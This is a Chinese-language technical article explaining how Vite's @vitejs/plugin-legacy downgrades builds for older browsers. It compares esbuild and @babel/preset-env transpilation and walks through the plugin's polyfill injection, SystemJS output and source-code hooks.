Skip to content

@vitejs/plugin-legacy

Vite Browser Compatibility

用于生产环境的构建包会假设目标浏览器支持现代 javascript 语法。vite 默认情况下的打包产物会假设浏览器支持 原生 ESM 语法的 script 标签(es2015)dynamic import(es2020)import.meta(es2020) 语法。

换句话说产物要求浏览器的最低版本如下所示:

BrowserVersion
Chrome>= 87
Firefox>= 78
Safari>= 14
Edge>= 88

Downgrade Tools

vite 会借助 esbuild 的能力来为模块执行转译工作,因此 build.target 配置项指定的目标环境规范必须满足 esbuild要求

Esbuild Downgrades Transpilation

esbuild 仅支持将 大多数 较新的 javascript 语法特性转换为 es6(es2015),同时保持 es5(es2009) 代码为 es5 代码,不会进行 升级 处理。这并不意味着 esbuild 无法实现,而是现阶段 es6(2015) 广泛使用在各个浏览器中,因此 evanw 认为实现对 es6(2015) 的降级需求优先级并不高。

targetes2015 时,esbuild尽量 的做到 语法结构转换es2015 语法。需要注意的是 @babel/preset-env 自身也会做 语法结构转换。但 esbuild 相比于 @babel/preset-env 来说,前者采用的是一种 "保守" 的转换策略,但构建速度快,适合对构建性能要求高、目标环境相对现代的项目。后者则是采取 精确全面 的语法结构转换,适合需要支持更低版本浏览器的项目,在语法结构转译工作上对于浏览器兼容性高于 esbuild

@babel/preset-env Downgrades Transpilation

@babel/preset-env 通过复杂的辅助代码来确保语义的正确性,他自身会对语法结构执行降级工作的同时,对于 async/awaitgenerator 复杂语法结构(异步语法)和 es6+ 的新 api 特性分别通过 regenerator-runtimecore-js 库来实现支持。

Syntax Structure Transpilation

babel 在内部通过 babel-compat-data 包维护了语法结构转换和浏览器最低版本之间的 json map 数据。

json
{
  // ...
  "transform-optional-chaining": {
    "chrome": "91",
    "opera": "77",
    "edge": "91",
    "firefox": "74",
    "safari": "13.1",
    "node": "16.9",
    "deno": "1.9",
    "ios": "13.4",
    "samsung": "16",
    "opera_mobile": "64",
    "electron": "13.0"
  }
  //...
}

当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 会自动转译语法结构。

例如当 targetchrome 90 时,由上述的 optional-chaining 语法特性映射表可知,在 chrome 90 中是不支持的,那么 @babel/preset-env 会自动转译语法结构。

optional-chaining translation example

js
function getUserCity(user) {
  return user?.address?.city;
}
js
function getUserCity(user) {
  var _user$address;

  return user === null || user === void 0
    ? void 0
    : (_user$address = user.address) === null || _user$address === void 0
      ? void 0
      : _user$address.city;
}
ES2015+ APIs Support

与前者一样,@babel/preset-env 也会通过 babel-compat-data 包来获取到 es2015+/es6+api 特性和最低浏览器版本支持的 json map

json
{
  "es6.array.copy-within": {
    "chrome": "45",
    "opera": "32",
    "edge": "12",
    "firefox": "32",
    "safari": "9",
    "node": "4",
    "deno": "1",
    "ios": "9",
    "samsung": "5",
    "rhino": "1.7.13",
    "opera_mobile": "32",
    "electron": "0.31"
  }
  // ...
}

当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 会通过将 core-js 的子包注入到产物中。

例如当 targetchrome 44 时,由上述的 array.copyWithin 语法特性映射表可知,在 chrome 44 中是不支持的,那么 @babel/preset-env 会通过将 core-jses.array.copy-within 子包注入到产物中。

array-copy-within translation example

js
const numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);
js
import 'core-js/modules/es.array.copy-within.js';
var numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);
Async Runtime Support

@babel/preset-env 处理 async/awaitgenerate 语法时,@babel/preset-env 会先执行语法结构上的转译,中间产物会携带 generator 的辅助函数,若消费者提供的 target 不支持 generate 语法,那么 @babel/preset-env 会通过 regenerator-runtime 来注入 polyfill

json map

json
{
  // ...
  "transform-async-to-generator": {
    "chrome": "55",
    "opera": "42",
    "edge": "15",
    "firefox": "52",
    "safari": "11",
    "node": "7.6",
    "deno": "1",
    "ios": "11",
    "samsung": "6",
    "opera_mobile": "42",
    "electron": "1.6"
  }
  // ...
}

当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 先进行语法结构上的转译。

例如当 targetchrome 54 时,由上述的 transform-async-to-generator 语法特性映射表可知,在 chrome 54 中是不支持的,那么 @babel/preset-env 会通过将 regenerator-runtimeruntime.js 子包注入到产物中。

async-to-generator translation example

js
async function asyncHook() {
  await 1;
}
js
import 'core-js/modules/es.promise.js';

function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
  try {
    var info = gen[key](arg);
    var value = info.value;
  } catch (error) {
    reject(error);
    return;
  }
  if (info.done) {
    resolve(value);
  } else {
    Promise.resolve(value).then(_next, _throw);
  }
}

function _asyncToGenerator(fn) {
  return function () {
    var self = this,
      args = arguments;
    return new Promise(function (resolve, reject) {
      var gen = fn.apply(self, args);
      function _next(value) {
        asyncGeneratorStep(
          gen,
          resolve,
          reject,
          _next,
          _throw,
          'next',
          value
        );
      }
      function _throw(err) {
        asyncGeneratorStep(
          gen,
          resolve,
          reject,
          _next,
          _throw,
          'throw',
          err
        );
      }
      _next(undefined);
    });
  };
}

function asyncHook() {
  return _asyncHook.apply(this, arguments);
}

function _asyncHook() {
  _asyncHook = _asyncToGenerator(function* () {
    yield 1;
  });
  return _asyncHook.apply(this, arguments);
}

从转译后的产物可以看到,当 targetchrome 54 时,@babel/preset-env 会转译语法结构,通过 generator 的辅助函数来实现 async/await 语法。

json map

json
{
  // ...
  "transform-regenerator": {
    "chrome": "50",
    "opera": "37",
    "edge": "13",
    "firefox": "53",
    "safari": "10",
    "node": "6",
    "deno": "1",
    "ios": "10",
    "samsung": "5",
    "opera_mobile": "37",
    "electron": "1.1"
  }
  // ...
}

但当 targetchrome 49 时,@babel/preset-env 会再一次进行语法结构转译,此时就会通过 regenerator-runtime 来注入 polyfill,实现更彻底的降级。

js
async function asyncHook() {
  await 1;
}
js
import 'regenerator-runtime/runtime.js';
import 'core-js/modules/es.promise.js';

function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
  try {
    var info = gen[key](arg);
    var value = info.value;
  } catch (error) {
    reject(error);
    return;
  }
  if (info.done) {
    resolve(value);
  } else {
    Promise.resolve(value).then(_next, _throw);
  }
}

function _asyncToGenerator(fn) {
  return function () {
    var self = this,
      args = arguments;
    return new Promise(function (resolve, reject) {
      var gen = fn.apply(self, args);
      function _next(value) {
        asyncGeneratorStep(
          gen,
          resolve,
          reject,
          _next,
          _throw,
          'next',
          value
        );
      }
      function _throw(err) {
        asyncGeneratorStep(
          gen,
          resolve,
          reject,
          _next,
          _throw,
          'throw',
          err
        );
      }
      _next(undefined);
    });
  };
}

function asyncHook() {
  return _asyncHook.apply(this, arguments);
}

function _asyncHook() {
  _asyncHook = _asyncToGenerator(
    /*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
      return regeneratorRuntime.wrap(function _callee$(_context) {
        while (1)
          switch ((_context.prev = _context.next)) {
            case 0:
              _context.next = 2;
              return 1;

            case 2:
            case 'end':
              return _context.stop();
          }
      }, _callee);
    })
  );
  return _asyncHook.apply(this, arguments);
}

Downgrade Tools Summary

  1. esbuild

    esbuild 采用了一种相对保守的转换策略。它主要将 大部分javascript 语法特性降级到 es2015(es6),而不会进一步降级到 es2009(es5)

    这个决策基于两个考虑:

    1. es2015(es6) 在各浏览器上已经得到广泛支持,支持降级到 es2009(es5) 需求优先级低。
    2. 考虑转译的性能优先。
    3. 保持代码简洁,利于可读性和可调试性。

    正因如此,esbuild 能够实现极快的构建速度,特别适合那些对构建性能要求较高,且目标环境相对现代的项目。

  2. @babel/preset-env

    @babel/preset-env 提供了一个更全面且精确的转换方案,它的转换过程可以分为三个主要部分:

    1. 语法结构转换: 通过维护详细的浏览器版本映射表,根据目标环境自动决定是否需要转换特定语法结构。

    2. ES2015+ API 支持: 同样基于浏览器版本映射表,但处理方式是通过注入 core-js 的相关子模块来提供 polyfill

    3. 异步语法支持: 对于 async/awaitgenerate 这样的异步特性,采用了两层转换策略:

      • 首先同第二步骤转换语法结构,如果转换后的语法结构目标环境还不完全支持,则会引入 regenerator-runtime 来提供运行时支持。
      • 其次,如果目标环境支持转译后的语法结构,则无需引入 regenerator-runtime

两者对比:

  1. 转换策略:

    • esbuild:采用 "保守" 策略,专注于 es2015+ 以上版本的转换。
    • @babel/preset-env:采用 "精确全面" 策略,可以精确地转换到任何目标版本。
  2. 性能表现:

    • esbuild:以 极快的构建速度 著称。
    • @babel/preset-env:由于需要进行更复杂的转换和分析,构建速度相对较慢,转译后的产物较大。
  3. 兼容性支持:

    • esbuild:适合目标环境相对现代的项目。
    • @babel/preset-env:通过复杂的 polyfill 系统,可以支持更低版本的浏览器。
  4. 转换的完整性:

    • @babel/preset-env 会生成完整的辅助函数和私有字段实现,确保功能的完全等价。
    • esbuild 可能会采用简化的转换方案,有时候可能无法完全保持原有代码的语义。
  5. 使用场景:

    • esbuild:适合对构建性能要求高、目标环境较新的现代化项目。
    • @babel/preset-env:适合需要支持更广泛浏览器范围的项目,特别是需要兼容较旧版本浏览器的场景。

从工程化的角度来看,选择使用哪个工具应该基于项目的具体需求:如果项目需要支持较旧的浏览器,同时对构建性能要求不是特别严格,推荐使用 @babel/preset-env;如果项目主要面向现代浏览器,同时对构建性能有较高要求,那么 esbuild 会是更好的选择。若项目需要同时支持较旧的浏览器和现代浏览器,同时还对转译的性能有一定要求,那么可以考虑两者结合使用,发挥各自的优势。

esbuildtarget 在一定程度上并不可靠。即使配置 targetes2015esbuild 可能会让一些更新版本的语法特性直接通过或非完全转换。

vite 是为应用而服务的开发工具,必须要考虑浏览器兼容性问题,同时也对转译速度有一定要求,因此 vite 会结合上述两者的优势,在构建阶段通过 esbuild 来完成语法上的转译,消费者需要严格的浏览器限制则可以通过 @babel/preset-env 来完成语法特性的降级。

Polyfill Mechanism

legacy browsers 可以通过插件 @vitejs/plugin-legacy 来支持,它将自动生成 legacy chunks 及与其相对应 ECMAScript 语言特性方面的 polyfill。同时 legacy chunks 只会在不支持原生 esm 的浏览器中进行按需加载。

Balancing Between Optimization And Browser Compatibility

通常情况下,越现代的 javascript 目标环境需要的转译代码就越少,因为更多的现代特性可以直接使用而无需转换。在确定项目的目标环境时,如果可能的话,选择更现代的目标版本不仅可以减少构建后的代码体积,还能保持代码的可读性和维护性。当然,这需要权衡目标用户的浏览器支持情况。

Syntax Alternatives

实现产物的降级操作,那么主要的降级考虑点有如下几个方面:

  1. esm loader 的降级

    esm 可以使用 systemjs 来做降级替换,systemjsesm loader,会模拟浏览器 type=module 标签的 script 脚本的加载行为,速度接近浏览器的原生 esm loader,支持 TLAdynamic importcircular referenceslive bindingsimport.meta.urlmodule typesimport-map、完整性和 csp,是一个较为完整的 esm loader,兼容到较旧版本浏览器(ie11)。

    那么我们就可以将下面的支持 esm 的高版本浏览器

    html
    <script
      crossorigin
      type="module"
      src="/assets/index-legacy-sCTV4F-O.js"
    ></script>

    通过以下方式来进行降级到不支持 esm 的浏览器

    html
    <script
      nomodule
      crossorigin
      id="vite-legacy-entry"
      data-src="/assets/index-legacy-sCTV4F-O.js"
    >
      System.import(
        document.getElementById('vite-legacy-entry').getAttribute('data-src')
      );
    </script>

    其中 nomodule 的脚本标记意味着不支持 esm 浏览器会执行的脚本,但在 safari 11 及以下的版本特例,下面会详细说明。

  2. ECMAScript 2015+ 语法降级

    @babel/preset-env 会负责 es6+ 的降级任务,自身会转译 语法特性

    js
    // input
    const arrow = () => {};
    
    // transformed
    var arrow = function arrow() {};
    js
    // input
    const { x, y } = point;
    
    // transformed
    var _point = point,
      x = _point.x,
      y = _point.y;
    js
    // input
    const message = `Hello ${name}`;
    
    // transformed
    var message = 'Hello '.concat(name);
    js
    // input
    const value = obj?.prop?.field;
    
    // transformed
    var value =
      (_obj = obj) === null || _obj === void 0
        ? void 0
        : (_obj$prop = _obj.prop) === null || _obj$prop === void 0
          ? void 0
          : _obj$prop.field;

    当遇到 es6+ 的新 api 会通过 core-js 来注入 polyfill

    js
    // input
    const numbers = [1, 2, 3];
    numbers.includes(2);
    
    // transformed
    import 'core-js/modules/es.array.includes.js';
    var numbers = [1, 2, 3];
    numbers.includes(2);
    js
    // input
    const set = new Set([1, 2, 3]);
    
    // transformed
    import 'core-js/modules/es.array.iterator.js';
    import 'core-js/modules/es.object.to-string.js';
    import 'core-js/modules/es.set.js';
    import 'core-js/modules/es.string.iterator.js';
    import 'core-js/modules/web.dom-collections.iterator.js';
    var set = new Set([1, 2, 3]);
    js
    // input
    const arr = Array.from({});
    
    // transformed
    import 'core-js/modules/es.array.from.js';
    import 'core-js/modules/es.string.iterator.js';
    var arr = Array.from({});
    js
    // input
    const obj = { a: 1, b: 2 };
    Object.entries(obj);
    Object.values(obj);
    
    // transformed
    import 'core-js/modules/es.object.entries.js';
    import 'core-js/modules/es.object.values.js';
    var obj = {
      a: 1,
      b: 2
    };
    Object.entries(obj);
    Object.values(obj);

    当遇到 es6+ 的迭代器或 async/await 特性会通过 regenerator-runtime 来注入 polyfill

    js
    // input
    function* generate() {}
    
    // transformed
    import 'regenerator-runtime/runtime.js';
    
    var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate);
    
    function generate() {
      return regeneratorRuntime.wrap(function generate$(_context) {
        while (1) {
          switch ((_context.prev = _context.next)) {
            case 0:
            case 'end':
              return _context.stop();
          }
        }
      }, _marked);
    }
    js
    // input
    async function asyncFunction() {
      await 1;
    }
    
    // transformed
    import 'regenerator-runtime/runtime.js';
    import 'core-js/modules/es.object.to-string.js';
    import 'core-js/modules/es.promise.js';
    
    function asyncGeneratorStep(
      gen,
      resolve,
      reject,
      _next,
      _throw,
      key,
      arg
    ) {
      try {
        var info = gen[key](arg);
        var value = info.value;
      } catch (error) {
        reject(error);
        return;
      }
      if (info.done) {
        resolve(value);
      } else {
        Promise.resolve(value).then(_next, _throw);
      }
    }
    
    function _asyncToGenerator(fn) {
      return function () {
        var self = this,
          args = arguments;
        return new Promise(function (resolve, reject) {
          var gen = fn.apply(self, args);
          function _next(value) {
            asyncGeneratorStep(
              gen,
              resolve,
              reject,
              _next,
              _throw,
              'next',
              value
            );
          }
          function _throw(err) {
            asyncGeneratorStep(
              gen,
              resolve,
              reject,
              _next,
              _throw,
              'throw',
              err
            );
          }
          _next(undefined);
        });
      };
    }
    
    function asyncFunction() {
      return _asyncFunction.apply(this, arguments);
    }
    
    function _asyncFunction() {
      _asyncFunction = _asyncToGenerator(
        /*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
          return regeneratorRuntime.wrap(function _callee$(_context) {
            while (1) {
              switch ((_context.prev = _context.next)) {
                case 0:
                  _context.next = 2;
                  return 1;
    
                case 2:
                case 'end':
                  return _context.stop();
              }
            }
          }, _callee);
        })
      );
      return _asyncFunction.apply(this, arguments);
    }

    通过 @babel/preset-env 的能力,可以较为完整的将 es6+ 语法降级为 es5

Plugin Work Mechanism

@vitejs/plugin-legacy 插件会在 renderChunk 阶段为每一个 chunk 生成 legacy chunk。其中会借助 @babel/preset-env 的能力来分析 chunk,发现非 语法特性 的语法会通过 core-jsregenerator-runtime 来注入 polyfill

js
const numbers = [1, 2, 3];
Promise.resolve(1);
function* generate() {}
console.log(numbers.includes(2));
js
import 'regenerator-runtime/runtime.js';

var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate);

import 'core-js/modules/es.object.to-string.js';
import 'core-js/modules/es.promise.js';
import 'core-js/modules/es.array.includes.js';
var numbers = [1, 2, 3];
Promise.resolve(1);

function generate() {
  return regeneratorRuntime.wrap(function generate$(_context) {
    while (1) {
      switch ((_context.prev = _context.next)) {
        case 0:
        case 'end':
          return _context.stop();
      }
    }
  }, _marked);
}

console.log(numbers.includes(2));

polyfill 会以 import 的形式按需注入 core-js 的子模块和 regenerator-runtime 模块。当然此时此刻可以直接通过构建工具从 chunk graph 的入口处打包 chunks 依赖图,通过配置也可以将这些按需注入的 polyfill 依赖包打包成一个 polyfill bundle。这会带来一些复杂度,@vitejs/plugin-legacy 插件采用了更为简单的实现方式。

@babel/preset-env 预设在转译 es6+ 的代码结构的同时会按需导出 core-jspolyfill 子模块和 regenerator-runtimepolyfill 模块。那么可以通过编写 babel 插件,在 @babel/preset-env 预设执行完成后分析转译后的 chunk,收集 polyfill 依赖。收集完成后就可以将导入的 polyfill 语句删除,后续将收集到的 polyfill 模块打包成 polyfill bundle

也就是说 polyfill bundle 会包含 systemjs runtime 以及源码中实际使用的 core js polyfills

renderChunk 阶段也会分析每一个 chunk 中包含的 import.meta.env.LEGACY 字段,将其转译成 boolean 值,用来标记当前脚本的执行环境为 legacy 环境。

最后一步就是将 polyfill bundlelegacy bundle 注入到 html 中。考虑部分浏览器可能不支持 type=modulescript 标签,因此使用 <script nomodule> 标签,目的是为了可选择性的加载 polyfills 和仅在目标的 legacy 浏览器中执行 legacy bundle

Implementation Approach

@vitejs/plugin-legacy 插件内置了三个插件,分别是 legacyConfigPluginlegacyGenerateBundlePluginlegacyPostPlugin

js
// @vitejs/plugin-legacy

function viteLegacyPlugin(options = {}) {
  const legacyConfigPlugin = {
    // ...
  };

  const legacyGenerateBundlePlugin = {
    // ...
  };

  const legacyPostPlugin = {
    // ...
  };

  return [legacyConfigPlugin, legacyGenerateBundlePlugin, legacyPostPlugin];
}

export { cspHashes, viteLegacyPlugin as default, detectPolyfills };

那么逐一分析下每个插件具体做了什么。

legacyConfigPlugin

插件会在 configconfigResolved 阶段进行处理。

ts
const genLegacy = options.renderLegacyChunks !== false

// browsers supporting ESM + dynamic import + import.meta + async generator
const modernTargetsEsbuild = [
  'es2020',
  'edge79',
  'firefox67',
  'chrome64',
  'safari12',
]

const legacyConfigPlugin: Plugin = {
  name: 'vite:legacy-config',

  async config(config, env) {
    if (env.command === 'build' && !config.build?.ssr) {
      if (!config.build) {
        config.build = {};
      }

      if (!config.build.cssTarget) {
        // Hint for esbuild that we are targeting legacy browsers when minifying CSS.
        // Full CSS compat table available at https://github.com/evanw/esbuild/blob/78e04680228cf989bdd7d471e02bbc2c8d345dc9/internal/compat/css_table.go
        // But note that only the `HexRGBA` feature affects the minify outcome.
        // HSL & rebeccapurple values will be minified away regardless the target.
        // So targeting `chrome61` suffices to fix the compatibility issue.
        config.build.cssTarget = 'chrome61';
      }

      if (genLegacy) {
        // Vite's default target browsers are **not** the same.
        // See https://github.com/vitejs/vite/pull/10052#issuecomment-1242076461
        overriddenBuildTarget = config.build.target !== undefined;
        overriddenDefaultModernTargets =
          options.modernTargets !== undefined;

        if (options.modernTargets) {
          // Package is ESM only
          const { default: browserslistToEsbuild } = await import(
            'browserslist-to-esbuild'
          );
          config.build.target = browserslistToEsbuild(
            options.modernTargets
          );
        } else {
          config.build.target = modernTargetsEsbuild;
        }
      }
    }

    return {
      define: {
        'import.meta.env.LEGACY':
          env.command === 'serve' || config.build?.ssr
            ? false
            : legacyEnvVarMarker
      }
    };
  },
  configResolved(config) {
    if (overriddenBuildTarget) {
      config.logger.warn(
        colors.yellow(
          `plugin-legacy overrode 'build.target'. You should pass 'targets' as an option to this plugin with the list of legacy browsers to support instead.`
        )
      );
    }
    if (overriddenDefaultModernTargets) {
      config.logger.warn(
        colors.yellow(
          `plugin-legacy 'modernTargets' option overrode the builtin targets of modern chunks. Some versions of browsers between legacy and modern may not be supported.`
        )
      );
    }
  }
};

这个插件的实现逻辑比较简单,主要做了以下三件事:

  1. 设置 css 的兼容性版本默认为 chrome61

    当要兼容的场景是安卓微信中的 webview 时,它支持大多数现代的 javascript 特性,但并不支持 CSS 中的 #RGBA 十六进制颜色符号

    在上述情况下,需要在构建阶段将 build.cssTarget 设置为 chrome61(因为 chrome 61 以下的版本不支持 #RGBA),避免 esbuild 默认会将 rgba() 颜色默认以十六进制符号 #RGBA 的形式输出,文档参考(若用户已配置,那么则不做处理)。

    以下是 esbuild 官方做出的 解释和建议

    简单来说,默认情况下 esbuild 的输出将利用所有现代 css 的特性,因此在使用 color: rgba()css 嵌套语法 的情况下会进行语法上的转译和支持。若无法满足用户代理(大多为浏览器)的需求,那么需要为 esbuild 指定特定的构建目标( vite 中可配置 build.cssTarget )。

  2. 兼容环境目标检索

    通过 browserslist-to-esbuild 包的能力,将在 package.json.browserslistrc 中查找项目所需的 browserslist 配置并将其赋值给 config.build.target

  3. import.meta.env.LEGACY 标记注入

    全局注入 import.meta.env.LEGACY 常量,值为 __VITE_IS_LEGACY__,只有在构建阶段生效,renderChunk 阶段会将其替换为已知的布尔值,devssr 阶段无效。

legacyPostPlugin

源码结构如下,可以看出在构建的 post 阶段会暴露出五个钩子, renderStartconfigResolvedrenderChunktransformIndexHtmlgenerateBundle

js
const legacyPostPlugin = {
  name: 'vite:legacy-post-process',
  enforce: 'post',
  apply: 'build',
  renderStart() {
    // ...
  },
  configResolved(_config) {
    // ...
  },
  async renderChunk(raw, chunk, opts) {
    // ...
  },
  transformIndexHtml(html, { chunk }) {
    // ...
  },
  generateBundle(opts, bundle) {
    // ...
  }
};

Configuration Inform

configResolved 钩子中,不会对 libssr 模式和配置不需要生成 legacy 产物的场景(options.renderLegacyChunks === false)进行处理。

ts
const genLegacy = options.renderLegacyChunks !== false;
if (_config.build.lib) {
  throw new Error('@vitejs/plugin-legacy does not support library mode.');
}
config = _config;

modernTargets = options.modernTargets || modernTargetsBabel;
if (isDebug) {
  console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
}

if (!genLegacy || config.build.ssr) {
  return;
}

若没有为插件提供 target,那么插件会借助 browserslist 包的能力,获取所需降级的目标浏览器版本。

ts
/**
 * 1. 获取根目录下的 package.json 中的配置项。
 * config = module[package.json]
 * 2. 解析 package.json 中的配置项
 * return (
 *  config[process.env.BROWSERSLIST_ENV] ||
 *  config[process.env.NODE_ENV] ||
 *  config["production"] ||
 *  config.defaults
 * )
 */
targets =
  options.targets ||
  browserslistLoadConfig({ path: config.root }) ||
  'last 2 versions and not dead, > 0.3%, Firefox ESR';

根据 rollupOptions.output 的配置项,来确定 legacy 产物输出的文件名。

ts
const genModern = options.renderModernChunks !== false;
const { rollupOptions } = config.build;
const { output } = rollupOptions;
if (Array.isArray(output)) {
  rollupOptions.output = [
    ...output.map(createLegacyOutput),
    ...(genModern ? output : [])
  ];
} else {
  rollupOptions.output = [
    createLegacyOutput(output),
    ...(genModern ? [output || {}] : [])
  ];
}

每一个入口都会生成相对应的 legacy 产物,并且会根据 genModern 的值来决定是否生成 modern 产物(非 legacy 产物)。

ts
const createLegacyOutput = (options: OutputOptions = {}): OutputOptions => {
  return {
    ...options,
    format: 'system',
    entryFileNames: getLegacyOutputFileName(options.entryFileNames),
    chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
  };
};

需要注意 legacy 的输出格式为 system,这是一个特殊的产物格式,rollup 会对其进行特殊的处理。同时后续也可以通过判断 legacy chunk 的输出格式来区分 legacy chunkmodern chunk

system format

rollup 支持 system 的输出产物格式,也就是说 rollup 对于 esm 的降级是通过 systemjs 来实现的。转译后的产物会通过 systemjs 做了一层 wrapper,因此 legacy chunk 中会包含 systemjsruntime

转译前:

ts
console.log(1);

转译后:

ts
System.register([], function () {
  'use strict';
  return {
    execute() {
      console.log(1);
    }
  };
});

legacy 输出产物的名称规则如下:

ts
const getLegacyOutputFileName = (
  fileNames: string | ((chunkInfo: PreRenderedChunk) => string) | undefined,
  defaultFileName = '[name]-legacy-[hash].js'
): string | ((chunkInfo: PreRenderedChunk) => string) => {
  if (!fileNames) {
    return path.posix.join(config.build.assetsDir, defaultFileName);
  }

  return chunkInfo => {
    let fileName =
      typeof fileNames === 'function' ? fileNames(chunkInfo) : fileNames;

    if (fileName.includes('[name]')) {
      // [name]-[hash].[format] -> [name]-legacy-[hash].[format]
      fileName = fileName.replace('[name]', '[name]-legacy');
    } else if (nonLeadingHashInFileNameRE.test(fileName)) {
      // custom[hash].[format] -> [name]-legacy[hash].[format]
      // custom-[hash].[format] -> [name]-legacy-[hash].[format]
      // custom.[hash].[format] -> [name]-legacy.[hash].[format]
      // custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
      fileName = fileName.replace(prefixedHashInFileNameRE, '-legacy$&');
    } else {
      // entry.js -> entry-legacy.js
      // entry.min.js -> entry-legacy.min.js
      fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
    }

    return fileName;
  };
};

源码注释中已经给出了详细的注释,这里不再赘述。

legacyPostPluginconfigResolved 钩子完整代码如下:

ts
const legacyPostPlugin: Plugin = {
  name: 'vite:legacy-post-process',
  enforce: 'post',
  apply: 'build',

  configResolved(_config) {
    if (_config.build.lib) {
      throw new Error(
        '@vitejs/plugin-legacy does not support library mode.'
      );
    }
    config = _config;

    modernTargets = options.modernTargets || modernTargetsBabel;
    if (isDebug) {
      console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
    }

    if (!genLegacy || config.build.ssr) {
      return;
    }

    targets =
      options.targets ||
      browserslistLoadConfig({ path: config.root }) ||
      'last 2 versions and not dead, > 0.3%, Firefox ESR';
    if (isDebug) {
      console.log(`[@vitejs/plugin-legacy] targets:`, targets);
    }

    const getLegacyOutputFileName = (
      fileNames:
        | string
        | ((chunkInfo: PreRenderedChunk) => string)
        | undefined,
      defaultFileName = '[name]-legacy-[hash].js'
    ): string | ((chunkInfo: PreRenderedChunk) => string) => {
      if (!fileNames) {
        return path.posix.join(config.build.assetsDir, defaultFileName);
      }

      return chunkInfo => {
        let fileName =
          typeof fileNames === 'function'
            ? fileNames(chunkInfo)
            : fileNames;

        if (fileName.includes('[name]')) {
          // [name]-[hash].[format] -> [name]-legacy-[hash].[format]
          fileName = fileName.replace('[name]', '[name]-legacy');
        } else if (nonLeadingHashInFileNameRE.test(fileName)) {
          // custom[hash].[format] -> [name]-legacy[hash].[format]
          // custom-[hash].[format] -> [name]-legacy-[hash].[format]
          // custom.[hash].[format] -> [name]-legacy.[hash].[format]
          // custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
          fileName = fileName.replace(
            prefixedHashInFileNameRE,
            '-legacy$&'
          );
        } else {
          // entry.js -> entry-legacy.js
          // entry.min.js -> entry-legacy.min.js
          fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
        }

        return fileName;
      };
    };

    const createLegacyOutput = (
      options: OutputOptions = {}
    ): OutputOptions => {
      return {
        ...options,
        format: 'system',
        entryFileNames: getLegacyOutputFileName(options.entryFileNames),
        chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
      };
    };

    const { rollupOptions } = config.build;
    const { output } = rollupOptions;
    if (Array.isArray(output)) {
      rollupOptions.output = [
        ...output.map(createLegacyOutput),
        ...(genModern ? output : [])
      ];
    } else {
      rollupOptions.output = [
        createLegacyOutput(output),
        ...(genModern ? [output || {}] : [])
      ];
    }
  }
};

RenderChunk Hook's Focus

renderChunk 钩子中并不会对 ssr 模式进行处理。

ts
const legacyPostPlugin: Plugin = {
  name: 'vite:legacy-post-process',
  enforce: 'post',
  apply: 'build',
  async renderChunk(raw, chunk, opts, { chunks }) {
    if (config.build.ssr) {
      return null;
    }
  }
};

初始化 polyfills 存储对象。

ts
// On first run, intialize the map with sorted chunk file names
let chunkFileNameToPolyfills = outputToChunkFileNameToPolyfills.get(opts);
if (chunkFileNameToPolyfills == null) {
  chunkFileNameToPolyfills = new Map();
  for (const fileName in chunks) {
    chunkFileNameToPolyfills.set(fileName, {
      modern: new Set(),
      legacy: new Set()
    });
  }
  outputToChunkFileNameToPolyfills.set(opts, chunkFileNameToPolyfills);
}
const polyfillsDiscovered = chunkFileNameToPolyfills.get(chunk.fileName);
if (polyfillsDiscovered == null) {
  throw new Error(
    `Internal @vitejs/plugin-legacy error: discovered polyfills for ${chunk.fileName} should exist`
  );
}

接下来在 renderChunk 中主要分为两个部分的处理,分别是对于 legacy chunkmodern chunk 的处理。那么区分 legacy chunkmodern chunk 的依据就是根据上述 configResolved 钩子中的配置项。

ts
function isLegacyChunk(
  chunk: RenderedChunk,
  options: NormalizedOutputOptions
) {
  return options.format === 'system' && chunk.fileName.includes('-legacy');
}

可以看到判断 chunk 是否为 legacy chunk 的依据为 chunk 的输出格式是否为 systemchunk 的文件名是否包含 -legacy

Handling Of Legacy Modules

如果配置项不需要生成 legacy 产物,则跳过这一步执行。

ts
const genLegacy = options.renderLegacyChunks !== false;

if (!genLegacy) {
  return null;
}

其中还会对其他工具做出限制

ts
// @ts-expect-error avoid esbuild transform on legacy chunks since it produces
// legacy-unsafe code - e.g. rewriting object properties into shorthands
opts.__vite_skip_esbuild__ = true;

// @ts-expect-error force terser for legacy chunks. This only takes effect if
// minification isn't disabled, because that leaves out the terser plugin
// entirely.
opts.__vite_force_terser__ = true;

// @ts-expect-error In the `generateBundle` hook,
// we'll delete the assets from the legacy bundle to avoid emitting duplicate assets.
// But that's still a waste of computing resource.
// So we add this flag to avoid emitting the asset in the first place whenever possible.
opts.__vite_skip_asset_emit__ = true;

// avoid emitting assets for legacy bundle
const needPolyfills =
  options.polyfills !== false && !Array.isArray(options.polyfills);

值得注意的是引入当前插件会在原先 bundle 的基础上备份出 legacy-bundle。以下参数仅针对于 legacy-bundle 有效,normol-bundle 参数值均为 undefined

  1. __vite_skip_esbuild__: 配置为 true 可以跳过 vite:esbuild-transpile 插件(该插件的功能为压缩模块或将TypeScript 转译为 js 模块)的 renderChunk 阶段。避免在 legacy 模块上使用 esbuild 转换,因为它会生成 legacy-unsafe 代码 - 例如将对象属性重写为简写。把 a={name} 转成 a={name:name} 最终还会生成 a={name}。会导致 swc\babel\typescript 之类的插件无法正常使用。
  2. __vite_force_terser__: 对于 legacy 模块,强制使用 terser 来进行压缩。只有在不禁用最小化且非压缩 ES lib 的情况下才会生效,因为这将完全排除 terser 插件。
